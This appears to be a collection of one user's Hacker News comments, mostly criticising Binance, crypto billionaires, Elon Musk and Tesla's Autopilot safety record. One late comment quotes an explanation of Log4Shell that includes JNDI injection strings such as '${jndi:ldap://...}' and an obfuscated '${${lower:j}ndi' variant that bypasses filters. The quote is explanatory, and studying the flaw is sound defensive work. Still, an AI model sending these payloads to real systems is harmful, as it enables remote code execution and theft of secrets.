gadnuk

> In one instance, the Binance chief compliance officer messaged a colleague that, “[w]e are operating as a fking unlicensed securities exchange in the USA bro.”

Source: https://twitter.com/JohnReedStark/status/1665748594421297152

This is a legendary quote from the filing.

> In one instance, the Binance chief compliance officer messaged a colleague that, “[w]e are operating as a fking unlicensed securities exchange in the USA bro.”

Source: https://twitter.com/JohnReedStark/status/1665748594421297152

Is there any player in this space that plays by the rules? CZ going the way of SBF. Tether next?

There's a reason the turnover rate at all of his companies is very high. Not exactly the easiest or nicest guy to work for.

His companies have succeeded despite him, because they have the right people at the helm leading operations (example: Shotwell at SpaceX).

Musk at Twitter gives you a glimpse as to why he was fired from PayPal 2 decades ago.

Elon Musk the kind of guy I want building self driving cars.

WASHINGTON, Aug 11 (Reuters) - Two U.S. lawmakers who chair subcommittees overseeing auto safety asked the federal auto safety regulator for a briefing on its probes into crashes involving Tesla Inc (TSLA.O)electric vehicles using Autopilot and advanced driver assistance systems, according to a letter seen by Reuters.

U.S. Senator Gary Peters and Representative Jan Schakowsky, both Democrats, said in the letter to the National Highway Traffic Safety Administration (NHTSA) they were concerned that "federal investigations and recent reporting have uncovered troubling safety issues" at Tesla.

The lawmakers asked "given the mounting number of fatalities involving Tesla vehicles crashing into tractor trailers ... has NHTSA considered opening a defect investigation into this issue?"

The letter added "does NHTSA strike a balance between investigative thoroughness and addressing urgent, emerging risks to motor vehicle safety?" and if the agency has enough resources to properly investigate advanced driver assistance systems.

Tesla did not immediately comment.

Since 2016, NHTSA has opened 38 special investigations of crashes involving Tesla vehicles and where advanced driver assistance systems such as Autopilot were suspected of being used. A total of 19 crash deaths have been reported in those Tesla-related investigations.

Last month, NHTSA said it opened a special investigation into the crash of a 2020 Tesla Model 3 vehicle that killed a motorcyclist in Utah.

In June, NHTSA upgraded its defect investigation into 830,000 Tesla vehicles with Autopilot involving crashes into parked emergency vehicles, a required step before it could seek a recall.

Of course. The board has a fiduciary duty and in this environment, getting the company to be sold to Musk for anywhere near the agreed upon $44 billion valuation is a win.

Plus, after seeing the lawsuit filed yesterday, I think they really want Musk to have consequences for his actions. He has gotten away with making a mockery of the financial markets (remember funding secured?) for way too long. Set a precedent, make him pay!

Tweet by Zhu Su, co-founder of 3ac:

https://twitter.com/zhusu/status/1536876343815983104

"We are in the process of communicating with relevant parties and fully committed to working this out"

I am not an out and out billionaire hater, but there are many that have legit impacted peoples' lives in a positive way or have provided jobs in the millions. Amazon, Microsoft, Google, Meta, Tesla, Reliance, etc. The amount of wealth they have might not be justified, but comparing them to this crooked list of billionaires is doing disservice to the products that they have put out in society.

But I just can't empathize with the loss of billions of the crypto billionaires, all of them seem to be founders of trading apps. The whole space operates like an MLM. Get in early, shill relentlessly and just turn the other way to the numerous scams in the space.

An example (Binance in this case): https://www.reuters.com/investigates/special-report/fintech-...

It's been over 12 years and the space is still trying to find an answer to a problem that either does not exist or is niche. For Bitcoin:

Failed as a currency

Failed as a store of value

Failed as an investment hedge

Failed as energy or whatever mumbo jumbo some billionaires like Michael Saylor spew out

I for one won't miss it even if it magically vanishes tomorrow

Speaking of which, at least now some Nvidia graphics cards are becoming available very close to MSRP :)

I know that the billionaire class is hated by most and most don't believe in the concept of "good billionaires".

But when I saw the list of the billionaires listed in the news article, the first thing that popped into my head was: These people deserve to lose way more.

Changpeng Zhao

Samuel Bankman-Fried

Brian Armstrong

Mike Novogratz

Fred Ehrsam

Tyler Winklevoss

Cameron Winklevoss

All they have done is shill relentlessly a space that's so unregulated and resembles the Wild Wild West. None of their "products" actually made peoples' lives better. Endless scams, greed, mania and even fraud on these platforms (Binance, FTX, Coinbase, etc). They go down for maintenance whenever they want, list tokens that are outright scams and no oversight, they play fast and loose with the rules and even indulge in insider trading and many strategies to keep the price up.

If all of these companies go bust, the only loss will be to the people invested in it. You can still go about your daily lives with zero impact. They serve no use to 99.99% of the people on this planet.

* tiny violin plays in the background *

Seems like a ponzi scheme in crypto collapses almost every other week these days.

It was LUNA in May

Celsius now

Probably USDD soon

A lot of these "fake internet money" coins have no use cases other than trading with the next sucker willing to buy on crypto platforms

And then you have platforms like Coinbase facilitating trading of such "assets" or tokens with little to no due diligence

A lot of these: Failed as a currency Failed as an inflation hedge Failed as a store of value

Crypto bros will try to do whatever mental gymnastics they can to justify their investment, probably because they are all in. But I can't wait for most of these coins to implode for good as they serve no use to society. Comparable to cigarettes (zero health benefits) than wine (harmful in large amounts, has health benefits in moderation).

If someone is offering you a yield of more than 18% APY, then you are the yield to the next guy!

Already a thread here: https://news.ycombinator.com/item?id=31605249

This is an amazing explanation. Thank you!

The Behavior section in this link explains it in detail: https://en.wikipedia.org/wiki/Log4Shell

"Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server.

Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as "${jndi". Naive searches can be circumvented by obfuscating the request: ${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j. Even if an input is not immediately logged, such as a first name, it may be later logged during internal processing and its contents executed."

Log4J 1.x was deemed safe because it does not offer the lookup mechanism that Log4J2 v2.x does. It always remains a String, no matter what, unlike v2.x where you can load serialized objects via lookups.

Source: https://twitter.com/ceki/status/1469449618316533762